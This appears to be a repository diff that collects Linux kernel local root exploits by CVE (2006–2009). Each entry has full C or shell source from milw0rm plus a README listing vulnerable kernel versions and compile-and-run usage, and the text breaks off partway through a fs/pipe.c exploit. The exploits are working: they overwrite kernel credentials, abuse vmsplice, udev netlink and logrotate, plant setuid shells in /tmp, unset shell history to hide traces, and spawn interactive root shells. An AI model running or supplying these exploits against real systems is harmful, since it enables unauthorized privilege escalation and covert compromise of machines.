sprintf (t, "/proc/%d/environ", getpid ());
sched_yield ();
execve (NULL, a, e);
madvise (0, 0, MADV_WILLNEED);
i = fork ();
/* give it a try */
if (i)
{
(*c)++;
!madvise (p, st.st_size, MADV_WILLNEED) ? : error ("madvise");
prctl (PR_SET_DUMPABLE, 1, 0, 0, 0);
sched_yield ();
}
else
{
nice(10);
while (!(*c));
sched_yield ();
execve (t, a, e);
error ("failed");
}
waitpid (i, NULL, 0);
exit (0);
}
int
main (int ac, char **av)
{
int i, j, k, s;
char *p;
memset (e, 0, sizeof (e));
memset (a, 0, sizeof (a));
a[0] = strdup (av[0]);
a[1] = strdup (av[0]);
a[2] = strdup (av[1]);
if (ac < 2)
error ("usage: binary <big file name>");
if (ac > 2)
exploit (av[2]);
printf ("\npreparing");
fflush (stdout);
/* make setuid a.out */
memset (&ex, 0, sizeof (ex));
N_SET_MAGIC (ex, NMAGIC);
N_SET_MACHTYPE (ex, M_386);
s = ((unsigned) &__excode_e) - (unsigned) &__excode;
ex.a_text = s;
ex.a_syms = -(s + sizeof (ex));
memset (b, 0, sizeof (b));
memcpy (b, &ex, sizeof (ex));
memcpy (b + sizeof (ex), &__excode, s);
/* make environment */
p = b;
s += sizeof (ex);
j = 0;
for (i = k = 0; i < s; i++)
{
if (!p[i])
{
e[j++] = &p[k];
k = i + 1;
}
}
/* reexec */
getcwd (t, sizeof (t));
strcat (t, "/");
strcat (t, av[0]);
execve (t, a, e);
error ("execve");
return 0;
}
// milw0rm.com [2006-07-15]

View File

@ -0,0 +1,24 @@
# CVE-2006-3626
CVE-2006-3626
Vulnerability reference:
* [CVE-2006-3626](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2006-3626)
* [exp-db](https://www.exploit-db.com/exploits/2013/)
## Kernels
```
2.6.8, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16
```
## Usage
```
Compile:
gcc h00lyshit.c -o h00lyshit
**
Usage:
h00lyshit <very big file on the disk>
**
Example:
h00lyshit /usr/X11R6/lib/libethereal.so.0.0.1
```

147
2008/CVE-2008-0600/5093.c Normal file
View File

@ -0,0 +1,147 @@
/*
* diane_lane_fucked_hard.c
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.23 - 2.6.24
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/uio.h>
#define TARGET_PATTERN " sys_vm86old"
#define TARGET_SYSCALL 113
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#define gimmeroot() syscall(TARGET_SYSCALL, 31337, kernel_code, 1, 2, 3, 4)
#define TRAMP_CODE (void *) trampoline
#define TRAMP_SIZE ( sizeof(trampoline) - 1 )
unsigned char trampoline[] =
"\x8b\x5c\x24\x04" /* mov 0x4(%esp),%ebx */
"\x8b\x4c\x24\x08" /* mov 0x8(%esp),%ecx */
"\x81\xfb\x69\x7a\x00\x00" /* cmp $31337,%ebx */
"\x75\x02" /* jne +2 */
"\xff\xd1" /* call *%ecx */
"\xb8\xea\xff\xff\xff" /* mov $-EINVAL,%eax */
"\xc3" /* ret */
;
void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}
long get_target()
{
FILE *f;
long addr = 0;
char line[128];
f = fopen("/proc/kallsyms", "r");
if (!f) die("/proc/kallsyms", errno);
while (fgets(line, sizeof(line), f)) {
if (strstr(line, TARGET_PATTERN)) {
addr = strtoul(line, NULL, 16);
break;
}
}
fclose(f);
return addr;
}
static inline __attribute__((always_inline))
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
static uint uid, gid;
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
}
int main(int argc, char *argv[])
{
int pi[2];
long addr;
struct iovec iov;
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
printf("-----------------------------------\n");
printf(" Linux vmsplice Local Root Exploit\n");
printf(" By qaaz\n");
printf("-----------------------------------\n");
if (!uid || !gid)
die("!@#$", 0);
addr = get_target();
printf("[+] addr: 0x%lx\n", addr);
if (pipe(pi) < 0)
die("pipe", errno);
iov.iov_base = (void *) addr;
iov.iov_len = TRAMP_SIZE;
write(pi[1], TRAMP_CODE, TRAMP_SIZE);
_vmsplice(pi[0], &iov, 1, 0);
gimmeroot();
if (getuid() != 0)
die("wtf", 0);
printf("[+] root\n");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);
return 0;
}
// milw0rm.com [2008-02-09]

View File

@ -0,0 +1,15 @@
# CVE-2008-0600
CVE-2008-0600
Vulnerability reference:
* [CVE-2008-0600](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2008-0600)
* [exp-db](https://www.exploit-db.com/exploits/5093/)
## Kernels
```
2.6.23, 2.6.24
```

289
2008/CVE-2008-0900/5092.c Normal file
View File

@ -0,0 +1,289 @@
/*
* jessica_biel_naked_in_my_bed.c
*
* Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
* Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
* Stejnak je to stare jak cyp a aj jakesyk rozbite.
*
* Linux vmsplice Local Root Exploit
* By qaaz
*
* Linux 2.6.17 - 2.6.24.1
*
* This is quite old code and I had to rewrite it to even compile.
* It should work well, but I don't remeber original intent of all
* the code, so I'm not 100% sure about it. You've been warned ;)
*
* -static -Wno-format
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>
#define PIPE_BUFFERS 16
#define PG_compound 14
#define uint unsigned int
#define static_inline static inline __attribute__((always_inline))
#define STACK(x) (x + sizeof(x) - 40)
struct page {
unsigned long flags;
int count;
int mapcount;
unsigned long private;
void *mapping;
unsigned long index;
struct { long next, prev; } lru;
};
void exit_code();
char exit_stack[1024 * 1024];
void die(char *msg, int err)
{
printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
fflush(stdout);
fflush(stderr);
exit(1);
}
#if defined (__i386__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 316
#endif
#define USER_CS 0x73
#define USER_SS 0x7b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"movl %0, 0x10(%%esp) ;"
"movl %1, 0x0c(%%esp) ;"
"movl %2, 0x08(%%esp) ;"
"movl %3, 0x04(%%esp) ;"
"movl %4, 0x00(%%esp) ;"
"iret"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movl %%esp, %%eax ;"
"andl %1, %%eax ;"
"movl (%%eax), %0"
: "=r" (curr)
: "i" (~8191)
);
return (void *) curr;
}
#elif defined (__x86_64__)
#ifndef __NR_vmsplice
#define __NR_vmsplice 278
#endif
#define USER_CS 0x23
#define USER_SS 0x2b
#define USER_FL 0x246
static_inline
void exit_kernel()
{
__asm__ __volatile__ (
"swapgs ;"
"movq %0, 0x20(%%rsp) ;"
"movq %1, 0x18(%%rsp) ;"
"movq %2, 0x10(%%rsp) ;"
"movq %3, 0x08(%%rsp) ;"
"movq %4, 0x00(%%rsp) ;"
"iretq"
: : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
"i" (USER_CS), "r" (exit_code)
);
}
static_inline
void * get_current()
{
unsigned long curr;
__asm__ __volatile__ (
"movq %%gs:(0), %0"
: "=r" (curr)
);
return (void *) curr;
}
#else
#error "unsupported arch"
#endif
#if defined (_syscall4)
#define __NR__vmsplice __NR_vmsplice
_syscall4(
long, _vmsplice,
int, fd,
struct iovec *, iov,
unsigned long, nr_segs,
unsigned int, flags)
#else
#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
static uint uid, gid;
void kernel_code()
{
int i;
uint *p = get_current();
for (i = 0; i < 1024-13; i++) {
if (p[0] == uid && p[1] == uid &&
p[2] == uid && p[3] == uid &&
p[4] == gid && p[5] == gid &&
p[6] == gid && p[7] == gid) {
p[0] = p[1] = p[2] = p[3] = 0;
p[4] = p[5] = p[6] = p[7] = 0;
p = (uint *) ((char *)(p + 8) + sizeof(void *));
p[0] = p[1] = p[2] = ~0;
break;
}
p++;
}
exit_kernel();
}
void exit_code()
{
if (getuid() != 0)
die("wtf", 0);
printf("[+] root\n");
putenv("HISTFILE=/dev/null");
execl("/bin/bash", "bash", "-i", NULL);
die("/bin/bash", errno);
}
int main(int argc, char *argv[])
{
int pi[2];
size_t map_size;
char * map_addr;
struct iovec iov;
struct page * pages[5];
uid = getuid();
gid = getgid();
setresuid(uid, uid, uid);
setresgid(gid, gid, gid);
printf("-----------------------------------\n");
printf(" Linux vmsplice Local Root Exploit\n");
printf(" By qaaz\n");
printf("-----------------------------------\n");
if (!uid || !gid)
die("!@#$", 0);
/*****/
pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
pages[1] = pages[0] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[0]);
printf("[+] page: 0x%lx\n", pages[1]);
pages[0]->flags = 1 << PG_compound;
pages[0]->private = (unsigned long) pages[0];
pages[0]->count = 1;
pages[1]->lru.next = (long) kernel_code;
/*****/
pages[2] = *(void **) pages[0];
pages[3] = pages[2] + 1;
map_size = PAGE_SIZE;
map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[2]);
printf("[+] page: 0x%lx\n", pages[3]);
pages[2]->flags = 1 << PG_compound;
pages[2]->private = (unsigned long) pages[2];
pages[2]->count = 1;
pages[3]->lru.next = (long) kernel_code;
/*****/
pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
map_size = PAGE_SIZE;
map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
printf("[+] page: 0x%lx\n", pages[4]);
/*****/
map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (map_addr == MAP_FAILED)
die("mmap", errno);
memset(map_addr, 0, map_size);
printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
/*****/
map_size -= 2 * PAGE_SIZE;
if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
die("munmap", errno);
/*****/
if (pipe(pi) < 0) die("pipe", errno);
close(pi[0]);
iov.iov_base = map_addr;
iov.iov_len = ULONG_MAX;
signal(SIGPIPE, exit_code);
_vmsplice(pi[1], &iov, 1, 0);
die("vmsplice", errno);
return 0;
}
// milw0rm.com [2008-02-09]

View File

@ -0,0 +1,13 @@
# CVE-2008-0900
CVE-2008-0900
Vulnerability reference:
* [CVE-2008-0900](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2008-0900)
* [exp-db](https://www.exploit-db.com/exploits/5092/)
## Kernels
```
2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.24.1
```

88
2008/CVE-2008-4210/6851.c Normal file
View File

@ -0,0 +1,88 @@
/*
gw-ftrex.c:
Linux kernel < 2.6.22 open/ftruncate local exploit
by <gat3way at gat3way dot eu>
bug information:
http://osvdb.org/49081
!!!This is for educational purposes only!!!
To use it, you've got to find a sgid directory you've got
permissions to write into (obviously world-writable), e.g:
find / -perm -2000 -type d 2>/dev/null|xargs ls -ld|grep "rwx"
which fortunately is not common those days :)
And also a shell that does not drop sgid privs upon execution (like ash/sash).
E.g:
test:/fileserver/samba$ ls -ld
drwxrwsrwx 2 root root 4096 2008-10-27 16:27.
test:/fileserver/samba$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
test:/fileserver/samba$ /tmp/gw-ftrex
ash shell found!
size=80200
We're evil evil evil!
$ id
uid=33(www-data) gid=33(www-data) egid=0(root) groups=33(www-data)
Trqbva da kaja neshto umno kato zakliuchenie...ma sega ne moga da se setia.
*/
#include <unistd.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <fcntl.h>
int main(int argc, char *argv[])
{
char *buf=malloc(3096*1024); //3mb just to be sure
int a,len;
int fd,fd1;
char *buf1;
int shell=0;
if (stat("/bin/ash",buf)==0)
{
printf("ash shell found!\n");
shell=1;
}
if (shell==0) if (stat("/bin/sash",buf)==0)
{
printf("sash shell found!\n");
shell=1;
}
if (shell==0)
{
printf("no suitable shell found (one that does not drop sgid permissions) :(\n");
exit(2);
}
len=0;
if (shell==1) fd=open("/bin/ash",O_RDONLY);
if (shell==2) fd=open("/bin/sash",O_RDONLY);
while (read(fd,buf+len,1)) len++;
printf("size=%d\n",len);
fd1=open(".evilsploit",O_RDWR | O_CREAT | O_EXCL, 02750);
ftruncate(fd1, len);
buf1 = mmap(NULL, len, PROT_WRITE | PROT_EXEC, MAP_SHARED, fd1, 0);
memcpy(buf1,buf,len);
munmap(buf1,len);
close(fd1);close(fd);
free(buf);
printf("We're evil evil evil!\n\n");
execv(".evilsploit", NULL);
}
// milw0rm.com [2008-10-27]

View File

@ -0,0 +1,13 @@
# CVE-2008-4210
CVE-2008-4210
Vulnerability reference:
* [CVE-2008-4210](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4210)
* [exp-db](https://www.exploit-db.com/exploits/6851/)
## Kernels
```
2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22
```

133
2009/CVE-2009-1185/8478.sh Normal file
View File

@ -0,0 +1,133 @@
#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0
int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;
main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];
sprintf(event, "add");
sprintf(subsystem, "block");
sprintf(sysfspath, "/dev/foo");
sprintf(major, "8");
sprintf(minor, "1");
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
char message[LONG_STRING];
char *mp;
mp = message;
mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
mp += sprintf(mp, "ACTION=%s", event) +1;
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
mp += sprintf(mp, "MAJOR=%s", major) +1;
mp += sprintf(mp, "MINOR=%s", minor) +1;
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
char *buf;
int buflen;
buf = (char *) &msg;
buflen = (int)(mp-message);
sendmsg(socket_fd, &msg, 0);
close(socket_fd);
sleep(10);
execl("/tmp/suid", "suid", (void*)0);
}
_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
# milw0rm.com [2009-04-20]

View File

@ -0,0 +1,13 @@
# CVE-2009-1185
CVE-2009-1185
Vulnerability reference:
* [CVE-2009-1185](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2009-1185)
* [exp-db](https://www.exploit-db.com/exploits/8478/)
## Kernels
```
2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29
```

103
2009/CVE-2009-1337/8369.sh Normal file
View File

@ -0,0 +1,103 @@
#!/bin/sh
###################################################################################
# gw-notexit.sh: Linux kernel <2.6.29 exit_notify() local root exploit
#
# by Milen Rangelov (gat3way-at-gat3way-dot-eu)
#
# Based on 'exit_notify()' CAP_KILL verification bug found by Oleg Nestorov.
# Basically it allows us to send arbitrary signals to a privileged (suidroot)
# parent process. Due to a bad check, the child process with appropriate exit signal
# already set can first execute a suidroot binary then exit() and thus bypass
# in-kernel privilege checks. We use chfn and gpasswd for that purpose.
#
# !!!!!!!!!!!
# Needs /proc/sys/fs/suid_dumpable set to 1 or 2. The default is 0
# so you'll be out of luck most of the time.
# So it is not going to be the script kiddies' new killer shit :-)
# !!!!!!!!!!!
#
# if you invent a better way to escalate privileges by sending arbitrary signals to
# the parent process, please mail me :) That was the best I could think of today :-(
#
# This one made me nostalgic about the prctl(PR_SET_DUMPABLE,2) madness
#
# Skuchna rabota...
#
####################################################################################
SUIDDUMP=`cat /proc/sys/fs/suid_dumpable`
if [ $SUIDDUMP -lt 1 ]; then echo -e "suid_dumpable=0 - system not vulnerable!\n";exit; fi
if [ -d /etc/logrotate.d ]; then
echo "logrotate installed, that's good!"
else
echo "No logrotate installed, sorry!";exit
fi
echo -e "Compiling the bash setuid() wrapper..."
cat >> /tmp/.m.c << EOF
#include <unistd.h>
#include <sys/types.h>
int main()
{
setuid(0);
execl("/bin/bash","[kthreadd]",NULL);
}
EOF
cc /tmp/.m.c -o /tmp/.m
rm /tmp/.m.c
echo -e "Compiling the exploit code..."
cat >> /tmp/exploit.c << EOF
#include <stdio.h>
#include <sched.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>
int child(void *data)
{
sleep(2);
printf("I'm gonna kill the suidroot father without having root rights :D\n");
execl("/usr/bin/gpasswd","%s",NULL);
exit(0);
}
int main()
{
int stacksize = 4*getpagesize();
void *stack, *stacktop;
stack = malloc(stacksize);
stacktop = stack + stacksize;
chdir("/etc/logrotate.d");
int p = clone(child, stacktop, CLONE_FILES|SIGSEGV, NULL);
if (p>0) execl("/usr/bin/chfn","\n/tmp/.a\n{\nsize=0\nprerotate\n\tchown root /tmp/.m;chmod u+s /tmp/.m\nendscript\n}\n\n",NULL);
}
EOF
cc /tmp/exploit.c -o /tmp/.ex
rm /tmp/exploit.c
echo -e "Setting coredump limits and running the exploit...\n"
ulimit -c 10000
touch /tmp/.a
`/tmp/.ex >/dev/null 2>/dev/null`
sleep 5
rm /tmp/.ex
if [ -e /etc/logrotate.d/core ]; then
echo -e "Successfully coredumped into the logrotate config dir\nNow wait until cron.daily executes logrotate and makes your shell wrapper suid\n"
echo -e "The shell should be located in /tmp/.m - just run /tmp/.m after 24h and you'll be root"
echo -e "\nYour terminal is most probably screwed now, sorry for that..."
exit
fi
echo "The system is not vulnerable, sorry :("
# milw0rm.com [2009-04-08]

View File

@ -0,0 +1,15 @@
# CVE-2009-1337
CVE-2009-1337
Vulnerability reference:
* [CVE-2009-1337](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2009-1337)
* [exp-db](https://www.exploit-db.com/exploits/8369/)
## Kernels
```
2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29
```

BIN
2009/CVE-2009-2692/9435.tgz Normal file

Binary file not shown.

BIN
2009/CVE-2009-2692/9436.tgz Normal file

Binary file not shown.

View File

@ -0,0 +1,15 @@
# CVE-2009-2692
CVE-2009-2692
Vulnerability reference:
* [CVE-2009-2692](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2009-2692)
* [exp-db](https://www.exploit-db.com/exploits/9435/)
* [exp-db](https://www.exploit-db.com/exploits/9436/)
## Kernels
```
2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30
```

107
2009/CVE-2009-2698/36108.c Normal file
View File

@ -0,0 +1,107 @@
/*
**
** 0x82-CVE-2009-2698
** Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit
**
** Tested White Box 4(2.6.9-5.ELsmp),
** CentOS 4.4(2.6.9-42.ELsmp), CentOS 4.5(2.6.9-55.ELsmp),
** Fedora Core 4(2.6.11-1.1369_FC4smp), Fedora Core 5(2.6.15-1.2054_FC5),
** Fedora Core 6(2.6.18-1.2798.fc6).
**
** --
** Discovered by Tavis Ormandy and Julien Tinnes of the Google Security Team.
** Thankful to them.
**
** --
** bash$ gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && ./0x82-CVE-2009-2698
** sh-3.1# id
** uid=0(root) gid=0(root) groups=500(x82) context=user_u:system_r:unconfined_t
** sh-3.1#
** --
** exploit by <p0c73n1(at)gmail(dot)com>.
**
*/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/personality.h>
unsigned int uid, gid;
void get_root_uid(unsigned *task)
{
unsigned *addr=task;
while(addr[0]!=uid||addr[1]!=uid||addr[2]!=uid||addr[3]!=uid){
addr++;
}
addr[0]=addr[1]=addr[2]=addr[3]=0; /* set uids */
addr[4]=addr[5]=addr[6]=addr[7]=0; /* set gids */
return;
}
void exploit();
void kernel_code()
{
asm("exploit:\n"
"push %eax\n"
"movl $0xfffff000,%eax\n"
"andl %esp,%eax\n"
"pushl (%eax)\n"
"call get_root_uid\n"
"addl $4,%esp\n"
"popl %eax\n");
return;
}
void *kernel=kernel_code;
int main(int argc, char **argv)
{
int fd=0;
char buf[1024];
struct sockaddr x0x;
void *zero_page;
uid=getuid();
gid=getgid();
if(uid==0){
fprintf(stderr,"[-] check ur uid\n");
return -1;
}
if(personality(0xffffffff)==PER_SVR4){
if(mprotect(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)==-1){
perror("[-] mprotect()");
return -1;
}
}
else if((zero_page=mmap(0x00000000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,0,0))==MAP_FAILED){
perror("[-] mmap()");
return -1;
}
*(unsigned long *)0x0=0x90909090;
*(char *)0x00000004=0x90; /* +1 */
*(char *)0x00000005=0xff;
*(char *)0x00000006=0x25;
*(unsigned long *)0x00000007=(unsigned long)&kernel;
*(char *)0x0000000b=0xc3;
if((fd=socket(PF_INET,SOCK_DGRAM,0))==-1){
perror("[-] socket()");
return -1;
}
x0x.sa_family=AF_UNSPEC;
memset(x0x.sa_data,0x82,14);
memset((char *)buf,0,sizeof(buf));
sendto(fd,buf,1024,MSG_PROXY|MSG_MORE,&x0x,sizeof(x0x));
sendto(fd,buf,1024,0,&x0x,sizeof(x0x));
if(getuid()==uid){
printf("[-] exploit failed, try again\n");
return -1;
}
close(fd);
execl("/bin/sh","sh","-i",NULL);
return 0;
}
/* eoc */

View File

@ -0,0 +1,23 @@
# CVE-2009-2698
CVE-2009-2698
Vulnerability reference:
* [CVE-2009-2698](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2009-2698)
## Kernels
```
2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19
```
## Usage
```
gcc -o 0x82-CVE-2009-2698 0x82-CVE-2009-2698.c && ./0x82-CVE-2009-2698
```
## References
* [http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c](http://downloads.securityfocus.com/vulnerabilities/exploits/36108.c)

View File

@ -0,0 +1,18 @@
# CVE-2009-3547
CVE-2009-3547
Vulnerability reference:
* [CVE-2009-3547](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2009-3547)
## Kernels
```
2.4.4, 2.4.5, 2.4.6, 2.4.7, 2.4.8, 2.4.9, 2.4.10, 2.4.11, 2.4.12, 2.4.13, 2.4.14, 2.4.15, 2.4.16, 2.4.17, 2.4.18, 2.4.19, 2.4.20, 2.4.21, 2.4.22, 2.4.23, 2.4.24, 2.4.25, 2.4.26, 2.4.27, 2.4.28, 2.4.29, 2.4.30, 2.4.31, 2.4.32, 2.4.33, 2.4.34, 2.4.35, 2.4.36, 2.4.37, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31
```
## References
* [exp](http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c)
* [Linux 2.6.x fs/pipe.c local root exploit (CVE-2009-3547)](http://seclists.org/fulldisclosure/2009/Nov/105)

View File

@ -0,0 +1,563 @@
/******************************************************************************
* .:: Impel Down ::.
*
* Linux 2.6.x fs/pipe.c local kernel root(kit?) exploit (x86)
* by teach & xipe
* Greetz goes to all our mates from #nibbles, #oldschool and #carib0u
* (hehe guyz, we would probably be high profile and mediatised el8 if we
* lost less time on trolling all day long, but we LOVE IT :)))
* Special thanks to Ivanlef0u, j0rn & pouik for being such amazing (but i
* promise ivan, one day i'll kill u :p)
*
* (C) COPYRIGHT teach & xipe, 2009
* All Rights Reserved
*
* teach@vxhell.org
* xipe@vxhell.org
*
*******************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/personality.h>
/* First of all, im about to teach (hehe, just like mah nick) you mah powerful copy-and-past skillz */
// didn't really care about this. i mixed 2.6.0 to 2.6.31 :)
#define PIPE_BUFFERS (16)
struct __wait_queue_head {
int spinlock;
void *next, *prev; // struct list_head
};
